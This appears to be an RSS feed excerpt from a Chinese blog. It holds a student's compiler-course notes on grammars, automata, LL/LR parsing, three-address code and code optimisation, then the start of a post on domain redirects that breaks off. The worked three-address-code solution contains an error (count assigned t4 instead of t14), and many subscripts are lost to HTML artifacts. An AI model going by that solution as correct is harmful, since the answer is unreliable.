<h3 id="无ε产生式的上下文无关文法要满足条件">无ε产生式的上下文无关文法要满足条件</h3>
<ol>
<li>若P中含S → ε ，则S不出现在任何产生式右部，其中S为文法的开始符号；</li>
<li>P中不再含有其它任何ε产生式</li>
</ol>
<h3 id="将有ε产生式的上下文无关文法转化为无ε产生式的上下文无关文法">将有ε产生式的上下文无关文法转化为无ε产生式的上下文无关文法</h3>
<ul>
<li>
<p>算法：
<img loading="lazy" src="/2024/learn-compile-principle/2024-01-12-22-29-06.png" type="" alt="将有ε产生式的上下文无关文法转化为无ε产生式的上下文无关文法的算法"  /></p>
</li>
<li>
<p>示例：
<img loading="lazy" src="/2024/learn-compile-principle/2024-01-12-22-31-55.png" type="" alt="将有ε产生式的上下文无关文法转化为无ε产生式的上下文无关文法的示例"  /></p>
</li>
</ul>
<h3 id="construct-context-free-grammars-with-ε-free-production">construct context-free grammars with ε-free production</h3>
<ol>
<li>画状态转换图</li>
<li>得到产生式</li>
</ol>
<h3 id="参考">参考</h3>
<p><a href="https://www.bilibili.com/video/BV1cW411B7DW/?p=8"  target="_blank" rel="noopener" >编译原理 东南大学 廖力 08</a></p>
<hr>
<h2 id="第三章">第三章</h2>
<h3 id="dfa-deterministic-finite-automata">DFA (Deterministic Finite Automata)</h3>
<ul>
<li>定义
<img loading="lazy" src="/2024/learn-compile-principle/2023-11-01-00-41-25.png" type="" alt="DFA定义"  /></li>
<li>特点：
<ul>
<li>no state has an 𝜖-transition(没有𝜖边)</li>
<li>for each state 𝑠 and input symbol 𝑎, there is at most one edge labeled 𝑎 leaving 𝑠(每个字符最多一条出边)</li>
</ul>
</li>
</ul>
<h3 id="regular-expression--nfa">Regular Expression → NFA</h3>
<p>Thompson’s Construction Rules
<img loading="lazy" src="/2024/learn-compile-principle/2023-11-01-00-18-14.png" type="" alt="Thompson’s Construction Rules"  /></p>
<h3 id="nfa---dfa-p153">NFA -&gt; DFA (P153)</h3>
<ul>
<li>算法：<strong>&ldquo;分身&rdquo;</strong></li>
</ul>
<p><img loading="lazy" src="/2024/learn-compile-principle/2023-11-01-00-52-27.png" type="" alt="DFA"  /></p>
<ul>
<li>示例：
<img loading="lazy" src="/2024/learn-compile-principle/2023-11-01-00-49-41.png" type="" alt="NFA-&amp;gt;DFA示例"  /></li>
</ul>
<h3 id="minimizing-the-number-of-states-of-a-dfa">Minimizing the Number of States of a DFA</h3>
<ol>
<li>Construct an initial partition ∏ of the set of states with two groups: the accepting states F and the non-accepting states 𝑆 − 𝐹. Π＝{𝐼0<!-- raw HTML omitted -->1<!-- raw HTML omitted -->,𝐼0<!-- raw HTML omitted -->2<!-- raw HTML omitted -->}（初始化）</li>
<li>For each group 𝐼 of Π<!-- raw HTML omitted -->𝑖<!-- raw HTML omitted -->, partition 𝐼 into subgroups such that two states 𝑠 and 𝑡 of 𝐼 are in the same subgroup if and only if for all input symbols 𝑎, 𝑚𝑜𝑣𝑒(𝑠, 𝑎) and 𝑚𝑜𝑣𝑒(𝑡, 𝑎) are in the same group of Π<!-- raw HTML omitted -->𝑖<!-- raw HTML omitted -->; replace 𝐼 in Π<!-- raw HTML omitted -->𝑖+1<!-- raw HTML omitted --> by the set of subgroups formed. （在所有输入符号上变迁都一样的放在一起）</li>
<li>If  Π<!-- raw HTML omitted -->𝑖+1<!-- raw HTML omitted --> = Π<!-- raw HTML omitted -->𝑖<!-- raw HTML omitted -->, let Π<!-- raw HTML omitted -->final<!-- raw HTML omitted --> = Π<!-- raw HTML omitted -->𝑖+1<!-- raw HTML omitted --> and continue with step (4). Otherwise, repeat step (2) with Π𝑖+1.（最后一个大步骤是白干的）</li>
<li>Choose one state in each group of the partition Π𝑓𝑖𝑛𝑎𝑙 as the representative for that group. The representatives will be the states of the reduced DFA 𝑀’. Let 𝑠 and 𝑡 be representative states for 𝑠’s and 𝑡’s group respectively, and suppose on input 𝑎 there is a transition of 𝑀 from 𝑠 to 𝑡. Then 𝑀’ has a transition from 𝑠 to 𝑡 on 𝑎.（每个group一个结点）</li>
<li>If 𝑀’ has a dead state (a state that is not accepting and that has transitions to itself on all input symbols), then remove it. Also remove any states not reachable from the start state. （删除死状态和不可达状态）</li>
</ol>
<hr>
<h2 id="第四章">第四章</h2>
<h3 id="elimination-of-left-recursion">Elimination of Left Recursion</h3>
<ol>
<li>
<p>Elimination of Immediate Left Recursion（消立即左递归）
<img loading="lazy" src="/2024/learn-compile-principle/2024-01-12-22-37-49.png" type="" alt="消立即左递归的方法"  /></p>
</li>
<li>
<p>Elimination of Indirect Left Recursion （消间接左递归）</p>
<ul>
<li>算法：
<img loading="lazy" src="/2024/learn-compile-principle/2024-01-12-22-45-12.png" type="" alt="消间接左递归的算法"  /></li>
<li>示例：
<img loading="lazy" src="/2024/learn-compile-principle/2024-01-13-10-29-57.png" type="" alt="消间接左递归的示例"  /></li>
</ul>
</li>
</ol>
<h3 id="extract-maximum-common-left-factors">Extract maximum common left factors</h3>
<p>Change productions like
𝐴 → 𝛿𝛽<!-- raw HTML omitted -->1<!-- raw HTML omitted -->|𝛿𝛽<!-- raw HTML omitted -->2<!-- raw HTML omitted -->| …|𝛿𝛽<!-- raw HTML omitted -->n<!-- raw HTML omitted -->| 𝑟
into
𝐴 → 𝛿𝐴′ | 𝑟
𝐴′ → 𝛽<!-- raw HTML omitted -->1<!-- raw HTML omitted -->| 𝛽<!-- raw HTML omitted -->2<!-- raw HTML omitted -->| … | 𝛽<!-- raw HTML omitted -->n<!-- raw HTML omitted -->
Where, 𝛿 is the longest prefix of the alternatives of A</p>
<h3 id="求first">求FIRST</h3>
<h4 id="first">FIRST</h4>
<p><img loading="lazy" src="/2024/learn-compile-principle/2024-01-13-11-02-10.png" type="" alt="FIRST"  /></p>
<h4 id="𝐸𝑣𝑎𝑙_𝐹𝐼𝑅𝑆𝑇𝑌sub1sub𝑌sub2sub--𝑌subksub">𝐸𝑣𝑎𝑙_𝐹𝐼𝑅𝑆𝑇(𝑌<!-- raw HTML omitted -->1<!-- raw HTML omitted -->𝑌<!-- raw HTML omitted -->2<!-- raw HTML omitted --> … 𝑌<!-- raw HTML omitted -->k<!-- raw HTML omitted -->)</h4>
<ul>
<li>If 𝑋 is terminal, then 𝐹𝐼𝑅𝑆𝑇(𝑋) = {𝑋}.</li>
<li>If 𝑋 is a nonterminal and 𝑋 → 𝑌<!-- raw HTML omitted -->1<!-- raw HTML omitted -->𝑌<!-- raw HTML omitted -->2<!-- raw HTML omitted --> … 𝑌<!-- raw HTML omitted -->k<!-- raw HTML omitted --> is a production for some 𝑘 ≥ 1, then place 𝑎 in 𝐹𝐼𝑅𝑆𝑇(𝑋) if for some 𝑖, 𝑎 is in 𝐹𝐼𝑅𝑆𝑇(𝑌<!-- raw HTML omitted -->i<!-- raw HTML omitted -->), and 𝜀 is in all of 𝐹𝐼𝑅𝑆𝑇 𝑌<!-- raw HTML omitted -->1<!-- raw HTML omitted --> , … , 𝐹𝐼𝑅𝑆𝑇 𝑌<!-- raw HTML omitted -->i-1<!-- raw HTML omitted --> ; that is, Y<!-- raw HTML omitted -->1<!-- raw HTML omitted --> … 𝑌<!-- raw HTML omitted -->i-1<!-- raw HTML omitted --> ⇒ 𝜀 . （前面的兄弟都躲了，我变成了排头兵）</li>
<li>If 𝜀 is in 𝐹𝐼𝑅𝑆𝑇 𝑌<!-- raw HTML omitted -->j<!-- raw HTML omitted --> for all 𝑗 = 1, 2, … , 𝑘, then add 𝜀 to 𝐹𝐼𝑅𝑆𝑇(𝑋). （全班都当了逃兵）</li>
<li>If 𝑋 → 𝜀 is a production, then add 𝜀 to 𝐹𝐼𝑅𝑆𝑇(𝑋).</li>
<li>注：𝐹𝐼𝑅𝑆𝑇(𝑋) is a data structure that represents a set while indexed by 𝑋. (𝐹𝐼𝑅𝑆𝑇(𝑋)是一个表示集合的数据结构，不是函数调用，X是下标不是函数的参数。)</li>
<li>注：𝐹𝐼𝑅𝑆𝑇(𝑋) is not a function in the sense of programming language, which can not be taken as a left value, but in the sense of mathematics</li>
</ul>
<h4 id="the-fixed-point-algorithm-for-evaluation-of-first">The Fixed-point Algorithm for Evaluation of First</h4>
<pre tabindex="0"><code>{
for all nonterminal 𝑋 do
𝐹𝐼𝑅𝑆𝑇(𝑋) = Φ;
do
for all production 𝑋 → 𝛼; 
𝐹𝐼𝑅𝑆𝑇(𝑋) → 𝐹𝐼𝑅𝑆𝑇(𝑋) ∪ 𝐸𝑣𝑎𝑙_𝐹𝐼𝑅𝑆𝑇(𝛼) ;
until (∀𝑋 ∈ 𝑉_𝑁, 𝐹𝐼𝑅𝑆𝑇(𝑋) unchanged);
}
</code></pre><h3 id="求follow">求FOLLOW</h3>
<h4 id="要点">要点</h4>
<ol>
<li>Place $ in 𝐹𝑂𝐿𝐿𝑂𝑊(𝑆), where 𝑆 is the start symbol and $ is the input right end-marker.</li>
<li>If there is 𝐴 → αB𝛽 in 𝐺, then add (𝐹𝐼𝑅𝑆𝑇(𝛽) −{𝜀}) to 𝐹𝑂𝐿𝐿𝑂𝑊(𝐵). (看有弟弟妹妹的非终结符)</li>
<li>If there is A →αB, then add FOLLOW(A) to FOLLOW(B). (看住在最右边上的非终结符)</li>
<li>If there is A→αB𝛽 where FIRST(𝛽) contains 𝜀，then add FOLLOW(A) to FOLLOW(B). (看不住在最右边，但实际可能暴露在最右边的非终结符)</li>
</ol>
<h4 id="示例">示例</h4>
<p><img loading="lazy" src="/2024/learn-compile-principle/2024-01-13-13-57-03.png" type="" alt="求FOLLOW示例1"  />
<img loading="lazy" src="/2024/learn-compile-principle/2024-01-13-13-57-31.png" type="" alt="求FOLLOW示例2"  /></p>
<h3 id="求predictive-parsing-table">求Predictive Parsing Table</h3>
<ul>
<li>Input: Grammar 𝐺.</li>
<li>Output: Parsing table 𝑀.</li>
<li>Method: For each production 𝐴 → 𝛼
<ol>
<li>For each terminal 𝑎 in 𝐹𝐼𝑅𝑆𝑇(𝛼), add 𝐴 → 𝛼 to 𝑀[𝐴, 𝑎].</li>
<li>If 𝜀 is in 𝐹𝐼𝑅𝑆𝑇(𝛼), add 𝐴 → 𝛼 to 𝑀[𝐴, 𝑏] for each terminal 𝑏 in 𝐹𝑂𝐿𝐿𝑂𝑊(𝐴).</li>
<li>If 𝜀 is in 𝐹𝐼𝑅𝑆𝑇(𝛼) and $ is in 𝐹𝑂𝐿𝐿𝑂𝑊(𝐴), add 𝐴 → 𝛼 to 𝑀[𝐴, $] as well.</li>
<li>Make each undefined entry of 𝑀 be 𝒆𝒓𝒓𝒐𝒓.</li>
</ol>
</li>
</ul>
<h3 id="ll1-grammar">LL(1) Grammar</h3>
<h4 id="含义">含义</h4>
<ol>
<li>The first “L” stands for scanning the input from left to right.</li>
<li>The second “L” stands for producing a leftmost derivation.</li>
<li>“1” means using one input symbol of look-ahead at each step to make parsing action decisions.</li>
</ol>
<h4 id="条件">条件</h4>
<ul>
<li>LL(1)文法的充要条件：LL(1)分析表中没有冲突项。</li>
</ul>
<h3 id="constructing-lr1-sets-of-items">Constructing LR(1) Sets of Items</h3>
<ul>
<li>参考: <a href="https://www.bilibili.com/video/BV1cW411B7DW/?p=41"  target="_blank" rel="noopener" >编译原理 东南大学 廖力 41</a></li>
</ul>
<h3 id="canonical-lr1-parsing-tables">Canonical LR(1) Parsing Tables</h3>
<ul>
<li>Input: An augmented grammar G'</li>
<li>Output: The canonical LR parsing table functions action and goto for G'</li>
<li>Method:
<ol>
<li>Construct C={I<!-- raw HTML omitted -->0<!-- raw HTML omitted -->,I<!-- raw HTML omitted -->1<!-- raw HTML omitted -->,…I<!-- raw HTML omitted -->n<!-- raw HTML omitted -->}, the collection of sets of LR(1) items for G'.</li>
<li>State 𝑖 is constructed from 𝐼<!-- raw HTML omitted -->i<!-- raw HTML omitted -->. The parsing actions for state 𝑖 are determined as follows:
<ul>
<li>If <code>[𝐴 → 𝛼 ∙ 𝑎𝛽, 𝑏]</code> is in 𝐼<!-- raw HTML omitted -->i<!-- raw HTML omitted --> and GOTO(𝐼𝑖, 𝑎)= 𝐼<!-- raw HTML omitted -->j<!-- raw HTML omitted -->, then set ACTION[𝑖,𝑎] to “Shift 𝑗”(简记为sj), here 𝑎 must be a terminal.</li>
<li>If <code>[𝐴 → 𝛼 ∙, 𝑎]</code> ∈ 𝐼<!-- raw HTML omitted -->i<!-- raw HTML omitted -->, 𝐴 ≠ 𝑆’, then set ACTION[i, a] to “Reduce j”(简记为rj) , where j is the No. of production 𝐴 → 𝛼.</li>
<li>If <code>[𝑆′→ 𝑆 ∙, $]</code> ∈ 𝐼<!-- raw HTML omitted -->i<!-- raw HTML omitted -->, then set ACTION[i, $] to “accept”(简记为acc).</li>
</ul>
</li>
<li>The GOTO transitions for state 𝑖 are determined as follows: if GOTO(𝐼<!-- raw HTML omitted -->i<!-- raw HTML omitted -->, 𝐴)= 𝐼<!-- raw HTML omitted -->j<!-- raw HTML omitted -->, then GOTO(𝑖, 𝐴)=𝑗.</li>
<li>All entries not defined by rules 2 and 3 are made “error”</li>
<li>The initial state of the parser is the one constructed from the set of items containing <code>[𝑆′→∙ 𝑆, $]</code>.</li>
</ol>
</li>
<li>示例
<img loading="lazy" src="/2024/learn-compile-principle/2024-01-13-17-04-53.png" type="" alt="LR(1) Parsing Tables示例1"  />
<img loading="lazy" src="/2024/learn-compile-principle/2024-01-13-17-05-19.png" type="" alt="LR(1) Parsing Tables示例2"  /></li>
</ul>
<hr>
<h2 id="第五章">第五章</h2>
<h3 id="annotated-parse-tree">Annotated parse tree</h3>
<p><img loading="lazy" src="/2024/learn-compile-principle/2024-01-14-10-39-23.png" type="" alt="Annotated parse tree"  /></p>
<h3 id="synthesized-attributes">Synthesized Attributes</h3>
<p>Each grammar production 𝐴 → 𝛼 has associated with it a set of semantic rules of the form 𝑏 =𝑓(𝑐1, 𝑐2, … . , 𝑐𝑘), 𝑓 is a function.</p>
<p>If 𝑏 is a synthesized attribute of 𝐴, then 𝑐1, 𝑐2,… , 𝑐𝑘 are attributes belonging to the grammar symbols of the production.</p>
<h3 id="inherited-attributes">Inherited Attributes</h3>
<p>For production 𝐴 → 𝛼 and its associated semantic rule of the form 𝑏 = 𝑓(𝑐1, 𝑐2, … . , 𝑐𝑘).</p>
<p>If 𝑏 is an inherited attribute of one of the grammar symbols on the right side of the production, then 𝑐1, 𝑐2, … , 𝑐𝑘 are attributes belonging to the grammar symbols of the production.</p>
<h3 id="题">题</h3>
<p><img loading="lazy" src="/2024/learn-compile-principle/2024-01-14-13-55-35.png" type="" alt="第五章题示例"  />
<img loading="lazy" src="/2024/learn-compile-principle/2024-01-14-13-56-03.png" type="" alt="第五章题示例解答"  /></p>
<hr>
<h2 id="第六章">第六章</h2>
<h3 id="symbolic-labels-vs-position-numbers">Symbolic Labels vs. Position Numbers</h3>
<ul>
<li>Symbolic Labels(语句标号)： 类比昵称</li>
<li>Position Numbers(语句序号): 严格编号</li>
</ul>
<h3 id="three-address-code-tac">Three-address Code (TAC)</h3>
<ul>
<li>A sequence of statements of the general form <code>𝑥 = 𝑦 𝑜𝑝 z</code></li>
<li>An address can be one of the following
<ul>
<li>A name(source-program names).</li>
<li>A constant.</li>
<li>A compiler-generated temporary.</li>
</ul>
</li>
<li>types:
<ol>
<li>x = y op z</li>
<li>x = op y</li>
<li>x = y</li>
<li>An unconditional jump : goto L</li>
<li>A conditional jump</li>
<li>&hellip;&hellip;</li>
</ol>
</li>
</ul>
<h3 id="quadruples">Quadruples</h3>
<p><img loading="lazy" src="/2024/learn-compile-principle/2024-01-14-17-27-26.png" type="" alt="Quadruples"  /></p>
<ul>
<li>Conditional and unconditional jumps put the target label in 𝑟𝑒𝑠𝑢𝑙𝑡.</li>
</ul>
<h3 id="short-circuit">Short-Circuit</h3>
<h4 id="short-circuit-or-jumping-code-of-boolean-expressions">Short-Circuit (or jumping) Code of Boolean Expressions</h4>
<ol>
<li>B1 || B2</li>
</ol>
<pre tabindex="0"><code>if B1 goto B.true 
goto B1.false 
B1.false: if B2 goto B.true 
          goto B.false 
</code></pre><ol start="2">
<li>B1 &amp;&amp; B2</li>
</ol>
<pre tabindex="0"><code>if B1 goto B1.true 
goto B.false 
B1.true: if B2 goto B.true 
         goto B.false 
</code></pre><h3 id="translate-the-program-fragment-into-three-address-code">Translate the program fragment into three-address code</h3>
<ul>
<li>例题</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">i</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">product</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">count</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="p">(</span><span class="n">i</span><span class="o">&lt;=</span><span class="mi">10</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">j</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">while</span> <span class="p">(</span><span class="n">j</span><span class="o">&lt;=</span><span class="mi">10</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">,</span><span class="n">j</span><span class="p">]</span> <span class="o">&lt;&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> 
</span></span><span class="line"><span class="cl">      <span class="n">product</span><span class="o">=</span><span class="n">product</span><span class="o">*</span><span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">,</span><span class="n">j</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">      <span class="n">count</span><span class="o">=</span><span class="n">count</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="n">j</span><span class="o">=</span><span class="n">j</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="n">i</span><span class="o">=</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">product</span> <span class="o">&gt;</span> <span class="mi">10</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl">    <span class="n">product</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="n">product</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Notes: Here we assume that the declaration of array A is array [1..10,1..10], each data element of array A would only use 1 storage unit, and the start address of array A’s storage area is addrA.</p>
<ul>
<li>解答</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="mi">1</span>  <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="mi">2</span>  <span class="n">product</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="mi">3</span>  <span class="n">count</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="mi">4</span>  <span class="k">if</span> <span class="n">i</span><span class="o">&lt;=</span><span class="mi">10</span> <span class="k">goto</span> <span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="p">(</span><span class="mi">6</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="mi">5</span>  <span class="nf">goto</span> <span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="mi">6</span>  <span class="n">j</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="mi">7</span>  <span class="k">if</span> <span class="n">j</span><span class="o">&lt;=</span><span class="mi">10</span> <span class="k">goto</span> <span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="p">(</span><span class="mi">9</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="mi">8</span>  <span class="nf">goto</span> <span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="p">(</span><span class="mi">30</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="mi">9</span>  <span class="n">t1</span><span class="o">=</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">//L-&gt;id[E], a数组的第一维的下标的low不为0；结合ppt讲解
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="mi">10</span> <span class="n">t2</span><span class="o">=</span><span class="n">t1</span><span class="o">*</span><span class="mi">10</span><span class="p">;</span> <span class="c1">//a数组的内嵌数组为一行，占用空间为10*1。此处的10*1是事先计算好放在符号表里的。
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="mi">11</span> <span class="n">t3</span><span class="o">=</span><span class="n">j</span><span class="o">-</span><span class="mi">1</span><span class="p">;</span>  <span class="c1">//根据L-&gt;L1[E]的语义规则得到
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="mi">12</span> <span class="n">t4</span><span class="o">=</span><span class="n">t3</span><span class="o">*</span><span class="mi">1</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl"><span class="mi">13</span> <span class="n">t5</span><span class="o">=</span> <span class="n">t2</span><span class="o">+</span><span class="n">t4</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl"><span class="mi">14</span> <span class="n">t6</span><span class="o">=</span><span class="n">addrA</span><span class="p">[</span><span class="n">t5</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="mi">15</span> <span class="k">if</span> <span class="n">t6</span><span class="o">&lt;&gt;</span><span class="mi">0</span> <span class="k">goto</span> <span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="p">(</span><span class="mi">17</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="mi">16</span> <span class="k">goto</span> <span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="p">(</span><span class="mi">27</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="mi">17</span> <span class="n">t7</span><span class="o">=</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">//L-&gt;id[E], a数组的第一维的下标的low不为0；结合ppt讲解
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="mi">18</span> <span class="n">t8</span><span class="o">=</span><span class="n">t7</span><span class="o">*</span><span class="mi">10</span><span class="p">;</span> <span class="c1">//a数组的内嵌数组为一行，占用空间为10*1
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="mi">19</span> <span class="n">t9</span><span class="o">=</span><span class="n">j</span><span class="o">-</span><span class="mi">1</span><span class="p">;</span>  <span class="c1">//L-&gt;L1[E]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="mi">20</span> <span class="n">t10</span><span class="o">=</span><span class="n">t9</span><span class="o">*</span><span class="mi">1</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl"><span class="mi">21</span> <span class="n">t11</span><span class="o">=</span> <span class="n">t8</span><span class="o">+</span><span class="n">t10</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl"><span class="mi">22</span> <span class="n">t12</span><span class="o">=</span><span class="n">addrA</span><span class="p">[</span><span class="n">t11</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="mi">23</span> <span class="n">t13</span><span class="o">=</span><span class="n">product</span><span class="o">*</span><span class="n">t12</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="mi">24</span> <span class="n">product</span><span class="o">=</span><span class="n">t13</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="mi">25</span> <span class="n">t14</span><span class="o">=</span><span class="n">count</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="mi">26</span> <span class="n">count</span><span class="o">=</span><span class="n">t4</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="mi">27</span> <span class="n">t15</span><span class="o">=</span><span class="n">j</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="mi">28</span> <span class="n">j</span><span class="o">=</span><span class="n">t15</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="mi">29</span> <span class="nf">goto</span> <span class="p">(</span><span class="mi">7</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="mi">30</span> <span class="n">t16</span><span class="o">=</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="mi">31</span> <span class="n">i</span><span class="o">=</span><span class="n">t16</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="mi">32</span> <span class="k">if</span> <span class="p">(</span><span class="n">product</span> <span class="o">&gt;</span> <span class="mi">10</span><span class="p">)</span> <span class="k">goto</span> <span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="p">(</span><span class="mi">34</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="mi">33</span> <span class="k">goto</span> <span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="p">(</span><span class="mi">36</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="mi">34</span> <span class="n">product</span> <span class="o">=</span> <span class="mi">10</span>
</span></span><span class="line"><span class="cl"><span class="mi">35</span> <span class="k">goto</span> <span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="p">(</span><span class="mi">37</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="mi">36</span> <span class="n">product</span> <span class="o">=</span> <span class="mi">1</span> 
</span></span><span class="line"><span class="cl"><span class="mi">37</span> <span class="k">goto</span> <span class="p">(</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="err">记录：</span><span class="n">L</span><span class="p">.</span><span class="n">nextlist</span><span class="o">=</span><span class="mi">5</span>
</span></span></code></pre></div><hr>
<h2 id="第七章">第七章</h2>
<h3 id="environment-and-state">Environment and State</h3>
<p>In programming language semantics：</p>
<ul>
<li>the term “environment” refers to a function that maps a name to a storage location</li>
<li>the term “state” refers to a function that maps a storage location to the value held there.</li>
</ul>
<h3 id="activation-tree">Activation Tree</h3>
<p>A tree to depict the control flow enters and leaves activation of a procedure.</p>
<h3 id="activation-records">Activation Records</h3>
<h4 id="组成">组成</h4>
<ol>
<li>control link
<ul>
<li>pointing to the activation record of the caller</li>
</ul>
</li>
<li>access link
<ul>
<li>to locate data needed by the called procedure but found elsewhere, e.g., in another activation record.</li>
</ul>
</li>
<li>saved machine status
<ul>
<li>return address</li>
<li>the contents of registers</li>
</ul>
</li>
</ol>
<h3 id="construct-a-maximum-stack-map-for-a-c-recursive-program">Construct a maximum stack map for a C recursive program</h3>
<ol>
<li>先画出 Activation Tree</li>
<li>画出符合要求的stack map</li>
<li>画Activation Records</li>
</ol>
<hr>
<h2 id="第八-九章">第八-九章</h2>
<h3 id="the-dag-representation-of-basic-blocks">The DAG Representation of Basic Blocks</h3>
<ul>
<li>DAG(Directed acyclic graph): 有向无环图</li>
<li>节点代表值</li>
<li>节点旁标注具有该值的变量</li>
</ul>
<h3 id="优化">优化</h3>
<ol>
<li>Constant folding（常量合并）
<ul>
<li>Evaluate constant expressions at compile time and replace the constant expressions by their values.</li>
</ul>
</li>
<li>Common Subexpression Elimination</li>
</ol>
<h3 id="题目">题目</h3>
<ul>
<li>描述：Please construct the DAG for the following basic block, optimize the block and rewrite the block in optimized code form.</li>
<li>解答：
<ol>
<li>Construct the DAG</li>
<li>optimize the DAG</li>
<li>Rearranging the order(Heuristic Order)</li>
<li>Write out the optimized code sequence</li>
</ol>
</li>
</ul>
<h2 id="参考-1">参考</h2>
<ul>
<li><a href="https://www.skywind.me/blog/archives/2761"  target="_blank" rel="noopener" >56 行代码用 Python 实现一个 Flex/Lex - Skywind Inside</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>xx原神大学是如何实现的</title>
      <link>https://ds63.eu.org/2024/how-to-implement-xx-genshin-university/</link>
      <pubDate>Fri, 05 Jan 2024 01:09:45 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/how-to-implement-xx-genshin-university/</guid>
      <description>前段时间很常能看到xx原神大学的域名，今天来了解下它是如何实现的。</description>
      <content:encoded><![CDATA[<h2 id="缘起">缘起</h2>
<p>前段时间很常能看到xx原神大学的域名,有趣是有趣，但具体是怎么实现的倒真没去了解过。</p>
<p>今天看到群里有人问:</p>
<blockquote>
<p>所以玩原神玩的为什么搜出来来会是中科大？
我在dns查询上面查出来地址是75.126.101.233，而且无法访问</p>
</blockquote>
<p>好奇心驱使下，我展开了调查。</p>
<h2 id="已知">已知</h2>
<p>访问<a href="%e4%b8%ad%e5%9b%bd%e7%a7%91%e5%ad%a6%e6%8a%80%e6%9c%af%e5%a4%a7%e5%ad%a6.com" >中国科学技术大学.com</a>会跳转到<a href="https://ys.mihoyo.com/"  target="_blank" rel="noopener" >《原神》官方网站</a></p>
<p>而<a href="%e7%8e%a9%e5%8e%9f%e7%a5%9e%e7%8e%a9%e7%9a%84.com" >玩原神玩的.com</a>则是<a href="https://www.ustc.edu.cn/"  target="_blank" rel="noopener" >中国科学技术大学</a>。</p>
<h2 id="推测">推测</h2>
<p>我首先能想到可行的方法有两个:</p>
<ul>
